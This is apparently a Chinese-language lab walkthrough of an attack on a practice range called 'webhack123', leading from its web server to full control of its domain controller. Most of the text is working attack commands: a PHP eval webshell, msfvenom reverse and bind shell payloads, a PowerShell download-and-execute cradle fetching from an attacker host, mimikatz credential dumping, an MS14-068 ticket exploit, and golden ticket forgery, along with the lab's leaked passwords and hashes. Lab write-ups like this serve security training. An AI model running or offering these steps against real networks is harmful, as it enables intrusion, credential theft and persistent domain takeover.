环境搭建
靶场环境的拓扑图如下:

靶场是webhack123,WEB服务器有两块网卡,DC是域控。
信息收集
端口探测
1 | nmap -p- 192.168.1.13 |

nmap获取系统和版本信息
1 | nmap -p 80,135,139,445,3306,3389,47001,49152,49153,49154,49155,49156,49157 -A 192.168.1.13 -oA webhack |
由扫描的信息可知,web服务器使用的是phpstudy。操作系统为Windows Server 2008 R2
对网站进行测试
在Mac的hosts文件中添加192.168.1.13 www.webhack123.com和192.168.1.13 admin.webhack123.com,这样我的Mac通过域名就可访问到对应的网站。

ffuf目录文件扫描
1 | ffuf -u http://www.webhack123.com/FUZZ -w Wordslist/all.txt |

wc.db文件下载
1 | wget http://www.webhack123.com/.svn/wc.db |

使用Navicat打开数据库,可以看出使用到的框架为thinkphp

thinkphp日志文件泄露
在thinkphp_3.1.3中,日志文件是开启的,由wc.db可以知道目录位置。

日志路径格式如:http://www.webhack123.com/App/Runtime/Logs/18_06_28.log
提取日志获取密码
使用python编写日志文件提取脚本
1 | #coding:utf-8 |
获取日志,并在日志中查找到泄露的管理员密码。

账号为admin,密码的哈希为74c774ef39b5b977c1fd59dbfc73c3e380a65aa3,经过cmd5得出密码为web123。

host碰撞管理后台子域名
如果扫描目录还是找不到后台,可以尝试进行host碰撞出子域名。
代码参考[1],变动了一下代码,ip.txt用于存放目标的IP地址,host.txt用于存放子域名前缀。这里是http,不需要进行https的爆破。运行代码,子域名和IP地址进行匹配。
1 | #!/usr/bin/python |
结果如下,发现了一个admin.webhack123.com子域名。

成功找到了后台的管理站点。

根据前面获取到的账号密码admin/web123可以登陆管理员界面。
上传文件获取webshell
登陆到管理员界面后,进行文件的上传。设置允许上传php,上传一句话木马<?php @eval($_POST['pass']);?>。

上传成功,获取shell的url为http://admin.webhack123.com/Public/Upload/20250512/d58f8404ac973d0352c666b9f83056a9.php,使用蚁剑进行连接。


MSF进行提权和信息收集
生成攻击载荷
phpstudy环境下,上传并执行exe文件,直接就是系统的最高权限了。
1 | msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.3 lport=12345 -f exe -o tt.exe |
在本机的根目录会生成一个tt.exe文件。
监听上线
1 | msf6 > use exploit/multi/handler |
我使用的是mac m1环境安装的msf,监听发现一直报错,连接不上shell。这里我卡了很久,想破脑袋,也没想到把mac的防火墙关了就好了😑。

成功拿到shell。

migrate迁移进程
找到合适的进程,进行进程的迁移,这里很多人使用的是migrate 476。

迁移成功。

mimikatz哈希明文获取
使用load kiwi,加载mimikatz模块。
1 | creds_all |

arp可以发现更多的主机。

跨网段域渗透
MSF跨网段的域渗透
使用metasploit和cobalt strike进行域渗透。
确认域环境
ps查看进程,进行令牌窃取,必须切换到adminstrator,非system,才能使用net config workstation⚠️

切换到shell,然后执行net config workstation。出现乱码情况时在获取的shell中执行chcp 65001。

定位域控
1 | run post/windows/gather/enum_domain |

域信息收集
1 | net time /domain #查看域控时间 |

ipconfig确认了存在两个网段10.10.10.150和192.168.1.13。

终端执行信息收集命令
ipconfig /all查看信息。

dns 10.10.10.149,dns一般都是与域控同一个ip
获取登陆过的用户信息
1 | run post/windows/gather/enum_logged_on_users |

获取的SID如下:
1 | SID Profile Path |
添加路由渗透DC域控
1 | 查看全局路由器 |


开启代理通域控
1 | 使用代理模块 |

注意本地使用的代理配置情况。我是用的是proxychains4,Mac m系列安装这个我又折腾好久😑,参考这个才给解决的,安装proxychains4[2]。最好还是用kali,没这么多麻烦。
nmap通过proxychains扫描域控设备
修改proxychains的配置文件,使其代理走的是127.0.0.1 1080

执行命令,结果如下:
1 | proxychains4 nmap -sT -A -Pn 10.10.10.149 |

永恒之蓝ms17-010进行溢出攻击DC(失败)
1 | use exploit/windows/smb/ms17_010_eternalblue |

攻击失败。
ms14-068提权域控
ms14-068的条件
- 获取域普通用户的账号密码
web@hackbox.com/!@#Qwe456 - 获取域普通用户的
SID: S-1-5-21-2005268815-658469957-1189185684-1103 - 服务器未打
KB3011780补丁 - 域控服务器的
10.10.10.149
ms14-068创建票据
上传MS14-068.exe[3]到执行的目录下
1 | MS14-068.exe -u web@hackbox.com -s S-1-5-21-2005268815-658469957-1189185684-1103 -d 10.10.10.149 -p !@#Qwe456 |

载入kiwi清理内存票据,再导入票据
载入kiwi,清理当前的票据,如下。
1 | load kiwi |

导入票据票据部分。
下载[4],并上传mimikatz.exe、mimidrv.sys、mimilib.dll到执行命令的目录,运行mimikatz.exe。
并执行kerberos::ptc TGT_web@hackbox.com.ccache

exit退出mimikatz,klist查看当前票据。
未导入票据前去访问dc,如下:

此时去访问dc域控,成功访问。

获取dc域控制权限
生成正向载荷,copy复制到域控,并执行定时任务
1 | msfvenom -p windows/x64/meterpreter/bind_tcp lport=13777 -f exe -o bind.exe |
生成bind.exe,并上传至web站点的服务器,并复制到域控中去。
1 | copy bind.exe \\dc\C$\ # 复制文件到目标 |

获取域控权限命令
设置好定的时间,msf进行监听。
1 | use exploit/multi/handler |
成功连接至域控。

获取dc域控哈希明文
迁移进程,并获哈希
1 | migrate 388 |

1 | Administrator:500:aad3b435b51404eeaad3b435b51404ee:2cbe963d0d877c8cc7d09c936f1c3b33::: |
使用load kiwi,并执行creds_tspkg

抓域控全部hash
1 | run post/windows/gather/smart_hashdump |

制作黄金票据
考虑长期权维护,还是做一个黄金票据比较保险。
制作黄金票据需要满足以下条件:
krbtgt的hash- 本地管理员权限
- 域的
SID(普通用户的SID除去最后三位就是域的SID) - 域内任意用户的本地管理员权限
获取ntml sid rid
1 | wmic useraccount where name="krbtgt" get sid |

获取到的SID: S-1-5-21-2005268815-658469957-1189185684-502
窃取域控超级管理权限
系统权限没办法做dcsync所以切换域管理权限。
1 | ps |

获取到的内容为:
1 | [+] Account : krbtgt |
生成黄金票据
获取到的条件如下:
1、krbtgt的hash:6f60ace6accbcb76078ccc0312174e98
2、本地管理员权限:已获取
3、域的SID(普通用户的SID除去最后三位就是域的SID):S-1-5-21-2005268815-658469957-1189185684
4、域内任意用户的本地管理员权限:已获取。
1 | golden_ticket_create -d <域名> -u <任意用户名> -s <Domain SID> -k <krbtgt NTLM Hash> -t <ticket 本 |
根据获取的条件,进行黄金票据的生成。
1 | golden_ticket_create -d hackbox.com -u x2ntest -s S-1-5-21-2005268815-658469957-1189185684 -k 6f60ace6accbcb76078ccc0312174e98 -t /Users/x2n/Desktop/webhack123.com/krbtgt.ticket |

切换到web服务器,把凭据都清除掉。使用kerberos_ticket_purge,确保dc是无法访问的。

此时使用生成的票据kerberos_ticket_use /Users/x2n/Desktop/webhack123.com/krbtgt.ticket,成功访问到域控。

CS进行内网域渗透
建立teamserver
1 | ./teamserver 192.168.1.3 4477 # 4477为密码 |
设置好监听器,监听192.168.1.3,监听的端口为8085

在web服务器上执行下载powershell恶意代码
使用Windows Executable去生成.ps1文件。

再使用钓鱼攻击中的文件下载,获取下载的URL,为http://192.168.1.3:8022/tt

进行上线。
1 | powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.1.3:8022/tt'))" |

设置间隔时间
设置时间间隔为0,不然会影响后面的操作。

获取hash和域内信任主机
1 | hashdump |

扫描环境内主机


扫描结果如下,存在主机10.10.10.149。

利用cs集成命令进行信息收集
1 | net computers |

cs mimikatz web服务获取明文

dir访问域控DC
1 | shell \\dc\c$ |

cs ms14-068提权到域控
上传文件ms14-068到web服务器上,执行如下命令,SID来源前面MSF获取的。
1 | shell MS14-068.exe -u web@hackbox.com -s S-1-5-21-2005268815-658469957-1189185684-1103 -d 10.10.10.149 -p !@#Qwe456 |

在ms14-068.py脚本下创建票据
还可以使用ms14-068.py[5]进行票据的创建。这里mac用户有一个坑点,执行时候要使用到python2,我的proxychains-ng编译成了arm64格式,但是ms14-068.py使用的执行环境是python2,python2是x86的,二者冲突了。难搞☹️。

这里如果使用kali应该是没问题的,使用下面的命令直接就可以了。
1 | proxychains4 python2 ms14-068.py -u web@hackbox.com -s S-1-5-21-2005268815-6584D69957-1189185684-1103 -d 10.10.10.149 -p '!@#@we456' |
KrbCredExport 将 .ccache 文件转化为 kirbi 格式
使用前面MS14-068.exe获取的TGT_web@hackbox.com.ccache,使用KrbCredExport.py[6]将其转化为user.ticket。
1 | python KrbCredExport.py ./ccaches/TGT_web@hackbox.com.ccache ./tickets/user.ticket |

导入票据访问dc
1 | kerberos_ticket_use ./tickets/user.ticket |

获取dc域控权限
目前是有了访问dc的权限,下面尝试获取dc域控的控制权限。
设置smb连接器,进行正向连接
创建一个连接器。

生成exe,并上传到域控上。

复制后门文件到域控中并执行
1 | shell copy beacon.exe \\dc\c$\beacon.exe |
添加定时任务。

在beacon正向连接上dc
link dc连接上dc


获取dc明文哈希


cs制作黄金票据
在域控上执行命令导出krbtgt信息
1 | dcsync hackbox.com hackbox\krbtgt |

获取数据:
1 | 域:hackbox.com |
在web服务器上制作黄金票据
1 | mimikatz kerberos::golden /user:x2ntest1 /domain:hackbox.com /sid:S-1-5-21-2005268815-658469957-1189185684 /krbtgt:6f60ace6accbcb76078ccc0312174e98 /endin:480 /renewmax:10080 /ptt |

未使用票据前,访问失败。

使用黄金票据后,可以直接访问域控了。

FLAG获取
Web flag1

Web flag2

DC flag3
